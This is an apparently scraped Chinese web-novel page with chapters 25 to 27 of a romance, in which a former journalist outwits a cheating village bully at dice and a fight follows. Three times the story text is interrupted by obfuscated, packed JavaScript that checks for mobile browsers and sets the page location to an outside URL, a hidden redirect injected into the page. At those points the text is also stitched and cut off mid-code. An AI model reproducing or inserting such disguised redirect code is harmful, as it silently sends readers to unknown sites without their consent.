;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491699|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是不是喜欢呼延。”八哥小声问。 八哥问的时候是抱着吴措会否认的想法的,毕竟他们都知道呼延有男朋友,是正常人都不会冒着要当小三的风险去承认这种事情,再怎么也要掩饰一下的。 他的问题算是一种提醒,翻译过来就是,你不能喜欢呼延。 但八哥没想到,吴措没否认。 他虽然没承认,但也没否认。 那这事就太严重了。 八哥的表情有点慌了,“封筝是不是没有和你说过,你不要招惹呼延,真的。” “你觉得呼延的男朋友对她好吗?”吴措却反问他。 八哥表情像咬了一口桃,低头看到了桃上的半只虫子尸体。 “这这么说呢……不好说……啧……哎……” “你也觉得不好是吧。”吴措说。 他可以没有财富和地位,相貌和家境也是其次,但他不能找不到人。 吴措在这儿这么久都没见过那位传闻中的男友,听到呼延所有提起他的时刻都是在夸赞,但那个在她言语体系中十全十美的人却连个面都没露过。 连陪伴都做不到,那他十全十美在哪里,存在的意义又是什么。 吴措为这样的人取代了陆离而感到不值。 “不是这个意思——” “那你觉得呼延人好吗?” “那当然!”八哥这次斩钉截铁说。 “那这份感情就算被破坏,也不算坏事。”吴措很平静地说。 他视线再次看向不远处的呼延,她这时应该是说到了个很开心的话题,笑得肩膀一抖一抖的,胳膊胡乱比划着什么。 “当然,我没有要破坏的意思。”吴措说。 “真的?”八哥问。 吴措没说话。 “那我就当你是真的了?”八哥挑挑眉,然后突然扬声冲着呼延喊:“呼延!” “……”不知为何,这一刹那吴措有种心脏忽然被踩停的感觉。 他看到呼延回头,发丝甩在她的脸颊上,她张口“啊”了一声,看向八哥同时也看向他。 吴措觉得他和呼延之间一直有种微妙的默契,他们之间一定是有某种特殊的气氛在的,但因为某些他们都知道的原因,谁都没有戳穿。 他有些害怕八哥会拿这些话来调侃,破坏了这种默契的平衡,但同时又有万分之一的刹那,他希望八哥说出来,因为他忽然想看看,呼延听到后会是什么表情。 “明天封筝要带着外婆回老家扫墓,你和我一起去村委会报批渡口安装手续吧。”八哥说。 “哦行啊,上午还是下午?” “没确定,到时候通知你。” “好啊。”呼延回答完,她的视线从吴措身上飘过去一下,觉得吴措的表情好像有哪里不对劲,但也没在意,又继续回头和封筝聊起了天。 “其实我明天也有事。”八哥忽然说。 吴措看向他。 八哥手里还捏着打图纸,眉毛一挑,“你想和呼延一起去吗?单独。”他着重把这两个字拿出来强调了一遍。 “为什么?” “这还要为什么?”八哥想了想,“这一去少说得两小时吧,小赵和路路肯定走不开,院长更没空管这些,算来算去——” “我是说,为什么即使觉得我要破坏他们的感情还是要这样做。”吴措看着八哥。 八哥的话被挡在空中戛然而止。 他调侃的表情微微收敛住,手里拿着的图纸被他团成一捆紧紧攥在手里,半晌后八哥又开口。 “因为呼延是个好人。” 所以应该被好好对待。 25. 赌吗 呼延在小院门口等会合的时候才知道和她一道去村委会的是吴措。 “怎么会是你?八哥呢。” 也许是呼延嫌弃的脸色过于嚣张,吴措送了个白眼给她,没等人自顾往前走。 “我也想知道。”吴措说,“据说某人上次参与的采购谈判,单价硬是比原来谈高出5毛,不知道这次会出现什么精彩的发挥。” 呼延不甘落后小跑跟上去,又走到吴措前面,切了一声,“那次是因为我看错行了。再说了,那经理看我真诚,后面批次全给的是内部价,这叫因祸得福你懂吗?” 吴措腿长,不需要费力三两步就走到和呼延并肩的位置,他睨了呼延一眼,“真诚?还是——” “吴措我警告你,你敢说出来我扔你脸上你信不信。”呼延手里举着材料文件夹恐吓。 吴措挑了挑眉,“真诚?还是真诚!夸你呢。” 呼延磨牙,“如果你哪天死了肯定是欠儿死的。不知道八哥怎么想的,让你跟我去。” “说得好像我想跟来一样。”吴措说。 “你最好是!” “我当然是。” 呼延赚不到便宜就相当于吃亏,脚踩地噔噔响,三步并两步朝村委会方向走,不愿再搭理吴措。 吴措在她身后仰天默叹了口气。 出门前想好要好好和她讲话的,怎么一开口就变了味。 …… 村委会建在村前广场一侧,经过广场时呼延看到搭台旁边围了一圈人在那,人多嘴杂,不知道在嚷些什么。 好奇心作祟,原本直行的路让呼延绕了个弯,直接朝着人群的方向走过去。 “又要干嘛。”吴措在她身后开口。 “看热闹啊。” “有什么好看的,”吴措明显不感兴趣,“你还记得你出来的目的吗?呼延医生。” 呼延回过头看他,“看一会儿又不耽误事,而且也真是够怪的哈,你这么没有好奇心是怎么当上记者的?” “做记者不仅要有好奇心,还要有基本的判断能力。”吴措抱着胳膊,一副作壁上观姿态。 “‘三个五’、‘四个二’、‘加码!’、”吴措重复自己方才听到的人群里的只言片语,“摇骰子、赌徒、起哄,你确定要去凑这个热闹?” 呼延根本没听吴措分析,直接挤进了人群里。 吴措无奈叹了口气,原地站了两秒,也跟了过去。 吴措个子高,从外围就能看到里面的全貌,他一靠近便看到了人群簇拥中坐在主位的人。 不算熟人,但也不眼生,正是前些天在刘敏秀饭馆里遇到过的人,王贲。 吴措下意识去看呼延,她的表情完全不是刚才看到人前那种纯粹看热闹的兴奋,取而代之的是一种嫌恶和警惕。 王贲身后照旧跟着两大护法,坐在他对面和他玩大小骰子的,是个有些地中海的中年男人,看起来他的赌运不怎么样,面如菜色地紧紧捏着自己手里的骰盅。 “活该,不踏实过日子只知道碰运气,回头自己怎么死的都不知道。”站在呼延身前的一个妇女嗤道。 说话的是村里开小卖店的六婶,她老公当年就是赌博欠了一屁股债躲起来的,到现在也不知道死活,逢年过节的时候六婶都会给他烧一道纸表达自己希望他最好是死了的心愿,看得出来对赌徒之流十分之深恶痛绝。 “这谁啊?不是我们村的吧,怎么以前没见过。”呼延顺势打听。 “张叔家的二姑爷。”六婶小卖店开得不景气,但村里事情知道得事无巨细,“租了王贲家里的铺子,赔本交不上房租了,被哄着赌了两把还债,结果越欠越多。铺子没法做,往老丈人家躲,这不被追过来了么。” 呼延早就知道王贲作风恶劣,但这回听到的还是让她跌了下巴,“赌博还债?脑子没毛病吧。” “脑子没病也干不出来这种事。”六婶说。 “不是,他就这么光明正大在这摆摊赌博?” 六婶发出见过世面的一声冷呵,“人家说的是娱乐局,不谈钱。就是警察过来了也奈何不了他啊。” 娱乐局……? 呼延看了下地中海男人头顶层层冒出的冷汗,这像是娱乐吗? 再看王贲,二郎腿悠哉晃荡着,一脸自得的表情,像是在看一只待宰的猪。 也许地中海欠的那些钱他并不怎么挂在心上,他只是享受这种凌驾在别人之上,随时操控别人命运的快感。 所以才会选择在村前广场这种整个村子的人都会路过的地方,来对地中海实施这种碾碎他尊严的酷刑。 呼延看了五分多钟的时间,地中海已经连输了三局,男人嘴巴焦干,吞咽看起来都很困难。 围观的村民劝他收手,他的手却还是犹豫不决地握在那个骰盅上。 “再输一把你就得按照我们说的,舔我的鞋底叫我三声爷爷。”王贲笑得跋扈,随即又开出了个诱人的赌注,“但是如果这把赢了,前面所有的局数清零,包括你拖欠的租金。” 呼延眉头皱了起来,她以前已经觉得王贲这个人看起来很让人反感了,但没想到他面目可憎的程度还能频频突破下限。 “要不要赌,他会不会放弃这一把。” 耳后传来熟悉的声音,呼延回身看到吴措,说:“我还以为你已经去村委会了。” 吴措说:“哪能丢下您一个人过去啊。” 呼延撇嘴给了个白眼。 “赌吗?”吴措扬眉。 “谢谢,拒绝黄赌毒。” 不用说呼延也会猜,地中海肯定会赌这一把。 输掉尊严对于一个一无所有的人来说没有任何意义,对于现在的地中海来说才更是身外之物。 但一旦赢了,就是绝对的翻本,这对于一个赌徒来说是致命的诱惑。 不出所料,在她话音刚落的一瞬间,地中海手里的骰盅就再次摇晃起来。 他这次摇的时间比前三次都要长,似乎多摇几次、多用些力就能让老天爷眷顾他一般。 等到终于停下来后,地中海两只手紧抓着骰盅抬头望了王贲一眼,而后视线又盯回自己的骰盅,用力晃了两次。 吴措看到地中海咬牙自言自语了一句什么,而后趴到桌前将骰盅掀开一条小缝往里看,紧接着露出难以掩饰的一抹兴奋。 他大概知道地中海为什么频频赌场失利,他丝毫不擅长掩饰自己的情绪,就算是有次想要强撑喊大,肢体语言还是出卖了他。 而这在赌场是大忌。 “4个、不对,5个5……”地中海颤颤巍巍开口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14496829|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而王贲只淡然瞥了他一眼,说:“我还没摇呢。” 说完走流程似的拿起骰盅晃了两下,看起来完全不在意结果。 “6个6。”他甚至没有看自己的点数。 地中海有些紧张,但握着拳头给自己定了定神,艰难吞咽一下说:“7个5。” “7个6。”王贲说。 地中海这次真的慌了,他视线向人群里胡乱一瞥如同求助,但实际上眼神根本没有力气落在任何人身上。 周围议论纷纷。 “7个6,疯了吧?一共才12个骰子,他哪里来的那么多6?” “淇红家的一看就是手里握着一堆5,这怎么想的?真有6个6?” “他根本就没看点数,纯玩的。” “那对他有啥好处?” “我看这回淇红家的说不定能翻本。” “……” 地中海抬眼瞅了下王贲,急促地呼吸了两次,下定决心了似的道:“开!” 他盯着王贲的眼睛,说:“我不信你有这么多6.” 王贲抱着胳膊倚在竹椅上,挑了挑眉,“你确定?这可是你的最后一次机会,如果输了……” 他翘起的二郎腿往上抬了抬,露出自己沾着污泥的鞋底。 地中海一张本就涨红的脸又紫了两分,片刻后他重复:“开!” 而后他“唰”一下掀开自己的骰盅,5个5和1个6。 王贲如果要赢,只能全部是6。 “你有没有感觉哪里不对劲。”呼延忽然偏头对着吴措说。 “终于看出来了?”吴措低头看过去,呼延眉头轻蹙着,鼻头动了动,像某种嗅到危险的小动物。 “我一直都觉得不对,但好像被一些表象迷惑住了。”呼延说。 比如赌注明显的不平等,如果王贲浑不在意的态度,比如两个根本全程一副赢定了的嘚瑟姿态。 如果王贲真的不在意结果,为什么费尽周折追到桃源村,摆了这么大的一场鸿门宴。 呼延和吴措对视了一眼。 王贲在出老千。 她本来不是很确定,但再看一眼吴措,他的眼神告诉她,他也是这么觉得的。 正在他们眼神交汇时,人群中传来一阵惊叹声,以及地中海不可置信的“怎么会这样”。 呼延看过去,发现王贲面前的6个骰子点数分别是:4个1和2个6。 1在这里可以做赖充当所有点数,所以眼前的局面就是—— 王贲赢了。 地中海无力瘫在原地,但很快被王贲的两个跟班揪了起来,他被拖到王贲面前跪坐在地上。摁着他的脖子往王贲脚边蹭,王贲胳膊交叉表情闲适地欣赏着自己面前的画面。 周围村民有一部分是认识地中海的,但即使不认识,这种场面也是看不下去。 “哎呀有什么非得闹到这一步。” “欠钱就慢慢还嘛,这是要干什么。” “这还有小孩在看呢。” “也是活该。” 村民你一言我一语,说什么的都有。 地中海心如死灰,跪坐在地上眼看着自己的脸距离王贲的脚底板越来越近,这时身后传来一道明显不同于其他的声音。 “等一下。” 26. 魔术 “等一下。” 王贲原本欣赏着地中海跪地的画面,猛一被打断,立刻挂脸朝人群中看过去寻找声音来源。 当他的视线对上吴措的时候,王思考了片刻才想起对方是谁。 “又是你,英雄救美玩上瘾了是吧。”王贲的下三白眼露出来,冷冷地盯着吴措。 吴措原本在人群外层,声音一出面前立刻被村民让出了一片空地——谁都想离这个突然出头的人远一点。 “……你要干嘛。”呼延声音不大不小,足够让吴措听到,又足够让王贲几人听不到。 在吴措开口之前,呼延也在咬着指甲思考对策,她和这位地中海没什么交情,纯粹看不惯王贲欺男霸女的恶霸行径。 但思来想去也没找到一个好的对策,不过呼延也不是那种非要等到有完美方案才出手的人,因此她正打算出手打断,却没想到吴措会先她一步开口。 所以此时比起惊讶于吴措的突然出手,呼延更惊讶的是,吴措要干嘛? “没想好。”吴措说。 呼延:“…………???” 呼延有一瞬间觉得吴措又是哄她,但吴措说这话时的表情又很认真,不像开玩笑的样子。 所以呼延就更无语了。 吴措说话时避开了王贲的方向,他出完头又无视一般地转头和呼延说话的行为再次触怒了王贲,王贲咬牙冷笑了声:“这孙子是你相好的啊,没看出来啊,口味这么重。” 黄毛附和:“说不定这小白脸是这老秃驴相好的。” “你想替他舔吗?”瘦猴跟着说。 黄毛龇起牙:“要不你们一人舔一只。” 吴措的表情如常,似乎根本没有把三人的话放在心上。 他慢慢走到石桌前,看了眼跪坐在旁边的地中海,然后坐到了地中海原来坐着的椅子上。 “来一局。” 王贲的表情玩味起来,“你替他玩?” “我不认识他。”吴措说。 “不认识你还逞能,你知道他欠我多少钱吗?”王贲二郎腿再次嚣张地晃起来。 “我不认识他,”吴措重复了遍,“所以无论输赢,和他无关。” 地中海原本以为自己有救了而亮起来的眼睛又暗了下去。 王贲咂摸了一下吴措的话,又向旁边瞅了眼黄毛,露出意味深长的一笑。 “行啊,你想赌什么,给你一次选择的机会,”王贲一手担在膝盖上,探身靠近,带着挑衅的笑,“想好了,一会儿别说我欺负你。” 吴措拿起桌上的骰盅,握着摆弄了一下。 这一摆弄不要紧,只是左右摇晃的功夫,就掉出去一个骰子,周围响起一阵“嘶”声。 呼延:“……” 不会玩,纯逞能是吧? 王贲看乐了,“手别抖啊,你这样别人要说我胜之不武了啊。” 吴措强自镇定,把掉在地上的骰子捡起来放在一边,又从骰盅里拿出4个骰子,只剩一个。 “比大小,一局定胜负。” 王贲完全当他是不知死活的冤大头,顺溜地将自己骰盅里的骰子拿出去5个,“行,有魄力,别说,我现在都有点欣赏你了。” 王贲自然是讽刺,两个跟班嬉笑附和。 呼延原地站不住了,她凑近吴措小声说:“吴措,现在不是你撑面子的时候,你不了解王贲,他这个人特别小心眼,你前几天惹了他,他一会儿不会放过你的。” 王贲早就不记得呼延了,但呼延对王贲以前做的事历历在目。 那时候妙妙还在小院时,两人一起去枥城吃米线,好巧不巧回来的时候碰上了去县城收账的王贲,王贲言语骚扰妙妙,被妙妙和呼延一起怼了回去。 那会儿刚好路过个宋殊以前治过的病人,帮着她们说了两句话,王贲说着他不会打女人的话,转身让自己的两个跟班把那个路人一条腿打断了。 呼延报了警,但王贲只在派出所待了一个晚上就出来了,两个跟班被关了几天,出来后又把那帮忙的路人另一条腿打断了。 后来是宋殊出面,经过好几个人联系上王贲的父亲,这事才算暂时告一段落。 有那么一句话,叫强龙难压地头蛇,王贲就是这片区域的地头蛇。 吴措却好像并没有意识到事情的严重性,松松靠在椅子上,转头冲呼延笑了下,“呼延医生,你好像有点担心我。我以为你会盼着我输。” 呼延虽然很想抄起拳头先揍他一顿,但还是暂时压下了火,“我没心情和你开玩笑,你有几分赢的把握。” 呼延盯着吴措,吴措一本正经地看向呼延,说:“完全没有。” 呼延:“………………” 当然,和出老千的人玩游戏,怎么可能赢。呼延感觉吴措现在属于是骑虎难下,毕竟这时候讲撤退有点太掉面子了。 但,她现在和吴措割席说不认识他还来得及吗? “悄悄话说完了没有,别不是想抵赖吧。”王贲坐在对面使激将法。 吴措给了呼延一个听天由命的眼神,又转眼看向王贲。 “赌什么啊。”王贲嚷了句。 “如果你输了——”吴措顿了顿,“不用你给我舔鞋底,怪恶心的。你只要跪在我面前喊两声祖爷爷就行。” “你他妈——” 黄毛刚要吼,被王贲一抬手拦住了,“行啊。那你输了呢。” “任你处置。”吴措说。 “行!爽快,就喜欢和你这种爽快的玩。”王贲靠在椅子上大声一笑,脑子里已经出现一百个整人的游戏。 “吴措——”呼延实在看不下去了。 话到嘴边却被吴措打断了。 “给你变个魔术。” 吴措抬手向空中虚抓了一下,握着拳伸向呼延,“帮我吹口气。” 呼延的无语已经到了翻白眼也无法诠释的程度,“你是一点也不知道轻重缓急的是吗?” “吹一下。”吴措说。 呼延吸了口气闭了闭眼,看着吴措,“你不会是待会儿输了要赖在我头上吧?” 吴措笑了,“放心,赢了算你的,输了算我的。” “你就给他吹一下呗。”六婶在旁边凑热闹地开了口,一转头,所有人的视线都集中在两人身上。 呼延不知道怎么形容现在的心情,就好像她脱了衣服去澡堂子,雾散了结果发现里面是杂耍马戏团,训猴的人拿着个火圈让她跳过去,她一时不知道先闭眼装死,还是先从火圈上跳过去让训猴的给她件衣服穿。 呼延眼一闭,选择了钻圈。 她快速地朝着吴措的拳头吹了口气,而吴措也煞有其事地抓着那团气扔进了自己的骰盅里。 “我感觉到了一股力量,这局好像不赢不行了。”吴措说。 呼延只想说,毁灭吧,赶紧的。 “一起?”吴措抬头冲王贲说。 王贲冷笑了下,他现在甚至有些同情眼前不知死活的吴措,但这不代表他一会儿会手下留情,胳膊或腿,吴措今天肯定要留一条在这。 两人同时摇骰子,但只晃了两下王贲就感觉到了不对劲。 他脸色越晃越差,一直到吴措已经停下来,王贲还没停下自己的骰子,他的表情就好像方才的地中海。 旁白的两个跟班全程在旁边冷嘲热讽吴措,黄毛是一直没看出来王贲的脸色变化,瘦猴却是瞧出了点端倪。 骰子是他亲自做的手脚,王贲以前一直用得很顺畅,每次至多晃三五下,这次却晃了不止十三五次。 王贲最后还是停了下来,他百思不得其解,狐疑的眼神瞪了下瘦猴。瘦猴更懵,那骰子和骰盅从头到尾都没离您的手啊,刚才使得不是好好的吗?现在又怎么了祖宗。 “开吗?”吴措看着他。 呼延扯了下吴措的胳膊,吴措偏头看了她一眼,摇头。 意思是,没事的。 然后又抬了抬眉。 意思是,收到了,呼延医生的关心。 王贲凭着经验猜测自己的骰子点数应该不小,再不济也是4以上的数字,那他的胜率就还是大半,而且就算真输了,他自然也不打算真的老老实实履行赌约。 于是王贲一昂头,“开啊,这有什么好等的。” 他率先打开骰盅,看到里面的点数后,王贲大笑出声,“你输了。” 点数是6。 无论吴措开出什么,最多只能打成个平局。 “完了。”呼延喃喃。 她是总觉得吴措很烦,但这不代表她想看到吴措今天交代在这里。 王贲两个跟班看着情形已经准备动手了,却被吴措拦住,“我还没开呢。” “你有什么开的必要?”王贲说,“给你留点面子,一会儿让他们下手轻点。” 吴措说:“没必要。” 几乎是话音刚落,吴措已经掀开了手里的骰盅,里面的画面让呼延倒吸一口气,半天没合上嘴。 6个6。 怎么会是6个6? 她亲眼看到吴措把5个骰子拿出来的,而且这5个骰子现在就在骰盅旁边放着,他们出门前肯定是不知道这一出的,他怎么可能额外拿出5个骰子放进去呢。 王贲那边传来一声重拍桌子的声音,“你他妈玩我是吧?” 众人向王贲处看过去,很快知道了端倪。 王贲面前挑出来的5个骰子不知道什么时候不翼而飞了,结合现在来看,情况很显然,就是吴措手里的5个。 呼延想起吴措摇骰子之前说的话,“给你变个魔术”。 原来吴措真的会变魔术。 “没有啊,我遵守的,是你的规则。”吴措说着将自己手边的骰子敲了两下,随意向上扔出去,再次落在手里时,仍然是方才朝上的点数。 看到这一幕,经常玩牌掷骰子的就懂了。 “你出老千!”地中海垂死病中惊坐起,猛地从地上站起来,怒不可遏指着王贲说。 王贲完全不理会地中海,他一双眼阴狠地盯着吴措,“你什么时候把我的骰子换走的。” “商业机密,恕不告知。”吴措吊儿郎当往椅子上一靠,说。 王贲咬了咬牙,眼神示意了下瘦猴,瘦猴收到命令,叫着黄毛一起把围观的人遣散了。 “走了走了,有什么好看的。” “快快快,谁都不准把今天的事说出去,不然后果自负!” 两人狐假虎威喝走了众人。 热闹的广场没一会儿就只剩下几人,地中海不知道自己该不该走,呼延开了口,“大家都看到了,他赢你的都是出老千赢的,你知道该怎么办吧。” 呼延也并不是对所有人都会同情心泛滥,赌鬼不值得同情,但这不代表王贲可以私自执刑。地中海会报警还是找律师,或者再次进入王贲的圈套,这就不是呼延能控制的了。 呼延现在能理解吴措最开始的那句话了,他不认识地中海,所以输赢和地中海无关。 地中海犹豫了一下,估量了下眼下情况准备要走,又被呼延喊住,她最终还是没忍住,说:“碰运气的事还是少做吧,这次跟头没栽着下次就不一定了。” 地中海脸色敛了敛,没说话转身走了。 吴措把骰盅往前推了推,抬头望着呼延,“呼延医生说得真好。” 王贲一把将桌子上的骰子全部打翻在地上,“他妈的给你泡妞的机会了是吧。” 吴措啧了声,看着呼延说:“好像不太对劲,是不是有人不愿赌服输啊。” 呼延说:“你才反应过来啊。” “那怎么办。” “大丈夫一人做事一人当。”呼延抱着手里的文件袋往后撤了两步。 吴措抬眉,“你真要把我一个人扔在这啊。” 呼延点头,“你猜对了。” 然后转头就溜,头也没回。 呼延朝着小院的方向,边跑边打110,她祈祷吴措能撑住这几分钟,至少不要死在这里了。 但只跑了两条巷子呼延就停了下来,她的脑海里忽然闪过一个片段,他似乎记得黄毛的腰间好像鼓起了块,形状像是,刀。 呼延立刻折返往回跑,她心里也很清楚现在跑回去无疑是送死,但就是控制不住。 短短的百十米,呼延脑海里闪过许多可能性。 重复最多的一句话就是,完了,她把吴措一个人扔在那了,吴措是陪她来村委会的,是因为她一定要凑热闹才过去的,是她害死的吴措。 一个转角,呼延跑回了广场,眼前的画面让她脚下停滞了0.1秒。 瘦猴和黄毛躺在地上,王贲的衣领被抓在吴措手里,两三米远的地上躺着那把刀。 黄毛爬着准备偷偷拿起来,呼延没有犹豫,直接冲过去抢走了刀。 看到呼延去而复返,吴措明显有点惊讶,“你怎么回来了。” 呼延大喘着气,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“贫个没完了是吧。”呼延还是忍不住想再揍他一顿,但看着吴措脸上挂的彩又起了点恻隐之心,“先去医院?” 吴措说:“你去村委会,我去趟派出所,结束后找你汇合。” “你去派出所……”呼延反应过来吴措应该是想先去备案避免被恶人先告状,“我陪你去吧。” “你就这么想跟着我啊。”吴措抬手抹了下唇角溢出的血。 呼延:“……随便你,我先走了。” 呼延大踏步走向村委会,但只走了两三步又停了下来,回过头来,吴措正看向她。 “你去完派出所直接回小院,我妈的药比大医院管用。” 吴措说:“好嘞,谢谢呼延医生。” “呵呵。” …… “废物!废物!” 王贲带着一身挂彩和一肚子气回到自家别墅,越想越气,把客厅东西砸了个遍,又开始朝瘦猴黄毛两个撒气。 两人本来就被吴措揍得不轻,没来得及去医院,又被王贲踹了一脚。 瘦猴顺势坐在地上没再爬起来,黄毛捂着肋骨扶着茶几往前又挪了两步,朝王贲说:“这不能怪我们,谁知道那人看着不怎么样,他娘的下手这么狠。” “要不晚上我安排几个兄弟去那什么小院把他绑出来让老大你教训一顿。”黄毛出主意。 “你他妈是不是傻逼?”王贲把桌上仅剩的遥控器砸向黄毛,“你知道那家伙是什么来头吗?” “什么来头。”黄毛自然不知道。 “我他妈问你呢!”王贲气炸了,怎么就养了这么两个废物,“今天旁边那么多人,愣是没有一个人看到他出老千,这小子到底什么来头。” “老大,出老千的不是咱们么。”黄毛智商不详,倒是诚实。 王贲咬了咬牙,抬手指着瘦猴说:“猴子,你给我扇他两巴掌,我他妈嫌揍他都会被他传染成智障。” 瘦猴这会儿才从地上爬起来,说:“我之前稍微打听过,那人叫吴措,现在在桃花小院当志愿者,以前是个记者。” “记者?”王贲若有所思,“什么样的记者能在我眼皮子底下出老千。” “要继续查吗?” 瘦猴话刚说完,外头传来别墅门开的声音,王贲一个激灵坐直,瞪着瘦猴,“不是说老头这个月不在枥城么。” 瘦猴哪能知道老板的安排,闭着嘴往后退了半步。 王贲眼看客厅的东西整理不及,在外面的人推门进来前,先整理了下自己的衣服。 但看到门外进来的人后,王贲松了半口气。 回来的人不止有王胜天,还有他妈张新兰。 张新兰一进门看到地上的惨状先是吓了一跳,再抬眼看到王贲脸上的伤就立刻把其他都忘了,三两步跑到王贲面前,心疼得直叹气,“这是怎么了,谁把你弄成这样的?” 王贲悄悄看了眼张新兰身后阴着脸的王胜天,摆出副卖惨的模样,“妈,有人打我你给不给我出气。” “谁敢打我张新兰的儿子!”张新兰一拍沙发,不小心碰到了王贲骨折的手,给他疼得龇牙咧嘴的,“诶呦不疼啊不疼,妈妈对不起。” “整天哼哼唧唧的,不像个男人。”王胜天冷声道,坐到了对面的沙发上。 张新兰回身冲他吼,“什么叫不像个男人,你儿子被欺负成这样,你说这种话还算是当爹的吗!” “他被人欺负?哪回不是他欺负别人,我一年到头给他收拾多少烂摊子,我不是当爹的你是他爹?” “他那都是有原因的!那些人不犯错他能动手吗?还不都是为了帮你的生意!” “原因?”王胜天冷笑,“我看你就是最大的原因,不是你惯出他这毛病,他能成现在这个下三滥的样子吗?” “什么下三滥!有你这么说自己儿子的吗?”张新兰站起来吼道。 王贲却拉住她,“别这么跟爸说话。” 张新兰看着儿子更心疼了,再看向王胜天怒气就更上了一层,“你看看你儿子是怎么对你的!你有良心吗王胜天!” “你就惯着他吧,早晚惹出个我也收拾不了的摊子,你就高兴了。” 王胜天从沙发上起身上楼,把书房的门反锁,干脆眼不见为净。 楼下王贲缩了缩鼻子,张新兰立马凑过去,“儿子疼吗?怎么不去医院啊。” “疼。”王贲脸皱了皱,“我是不是又给爸丢脸了。” “你别听他的,妈知道你做这么多都是为了帮你爸,他不领情我领情,你前几天看的那辆车明天带你去买。”张新兰拍着王贲肩膀说 王贲点了点头,又立刻摇头:“车我不急着要,但有个叫王贲的,我想查查他的底细……” 27. 赌场 村委会里只走了个流程,会开了一个多小时就结束了,呼延急匆匆往派出所赶,只是还没出村口就碰上了去隔壁村送药回来的八哥。 “怎么慌里慌张的,出什么事了?”车被封筝开走了,八哥骑着电瓶车停在呼延面前。 呼延脚步没停,边走边说:“小孩没娘,说来话长。” “那就长话短说呗。” 呼延真就去了前因后果直接给结论:“我现在要去派出所找吴措。” “派出所?”八哥惊了,“真出事儿了?” “没出事,吴措去派出所参观名胜古迹呢。”呼延几乎小跑起来。 八哥知道呼延又在胡说八道,但看情形应该也确实是出事了,于是来了个电瓶车甩尾拦到呼延面前,“上车,带你一起过去。” 两人赶到派出所,却被民警告知吴措在半小时前就做完备案离开了,于是八哥又载着呼延回到小院,却仍然没有找到吴措。 电话打过去,对面显示关机。 “这回真完了。”呼延这回真慌了。 遇到这种事,呼延脑海里只有一个人可以求助,于是想也没想直接拨了电话过去:“妈——” 宋殊接到电话的时候还在外面出诊,呼延一嗓子差点把病人吓了一跳。 挂了电话,宋殊还是稳稳当当把带过去的药嘱咐完了才往回赶。 这个事件里扯到“王贲”这个名字的确不是个好预兆,但以她对吴措接触下来的了解,他还没脆皮到出个门把自己弄丢的程度。 宋殊和呼延几乎同时回到的小院,两辆电瓶车在门口狭路相逢。 “你惹王贲干嘛。”宋殊一脚抵着地面问了句。 呼延从八哥车子后座跳下来,“什么我惹的他!我电话里不是和你说了吗?是吴措那个倒霉蛋非要逞能!” 宋殊:“我信了。” 呼延觉得自己八百张嘴也解释不清,虽然她有类似的案底,以及这件事确实像是她先招惹出来的,以及的确是她先过去凑热闹的…… 算了。 呼延长吸了口气,“就算是我惹的行了吧。那现在怎么办?活不见人死不见尸,总得知道他现在在哪吧。” “找谁呢?” 从院内传出一道声音。 八哥惊喜:“吴措!你怎么在这,你回来了?” 吴措向八哥点点头,又看向呼延。 呼延此刻心情十分复杂,一方面她因为吴措没事而松了口气,另一方面,她又很气吴措卡在这种时间点突然搞消失,还有另一方面,即使是出于道义原则的担心,被吴措听到也让她感觉很别扭。 不过综合下来,吴措没事是最好的消息。 “没死就行。”呼延说。 吴措还没来得及回话,身后又一道声音出现。 “这就是传闻中的呼延医生?”老郑将嘴里叼着的苹果拿出来,自来熟地向呼延伸出另一只手,“你好,我是吴措的前同事,可以叫我老郑。” 呼延一脸懵但还是伸出了手,“你好。” 老郑又向八哥和宋殊打了招呼,“冒昧打扰,冒昧打扰。” 宋殊笑笑点头,“还是第一次见吴措的朋友,在这住几天吗?我让人帮你整理个房间出来。” 老郑忙摆摆手,“不用不用,您不用和我客气,我待一晚上明天就走,我在外面订了个酒店,行李都放那呢。” 吴措也说:“你不用管他。” 看来也是个很有分寸感的人。宋殊心说。 “那我就不强求了,院里有事,你们先聊,我进去了。”宋殊说。 八哥跟着宋殊一道进了小院。呼延质问的眼神就朝着吴措钉了下去,“你是不是故意不接我电话的。” 吴措从口袋里拿出手机晃了晃,“冤枉啊大小姐,没电了。” “怎么就这么巧合呢。”呼延很不相信,就像宋殊不信惹到王贲的不是她一样。 “我也想知道怎么就这么巧合。”吴措说。他还想调侃句什么,余光瞥见老郑的脸又憋了回去。 老郑却是察觉到两人之间微妙的气氛,凑上前问:“咳,有什么我可以知道的故事吗。” “没有。”吴措伸胳膊挡在他面前,“不是要拿东西么,跟我来。” 吴措转身朝小院走,老郑“诶诶”两声跟上,又回头向呼延撂了句话,“待会儿聊啊,呼延医生。” “昂……”呼延懵逼点头。 感觉这人怪怪的,不愧是吴措的朋友。 老郑跟着吴措去他房间拿硬盘,里面是之前工作的一部分资料,吴措说要快递发给他,老郑说刚好有假期,过来人肉打包顺便看看风景。 “原来你喜欢这个类型啊。”老郑不问自来地坐在吴措房间的椅子上,“那时候有个小网红追你你没答应,他们都说你是同,我那段时间还很担心你会半夜怕我床呢。” 吴措从抽屉里拿出硬盘,“放心,就算我喜欢男的也对你下不去手。” 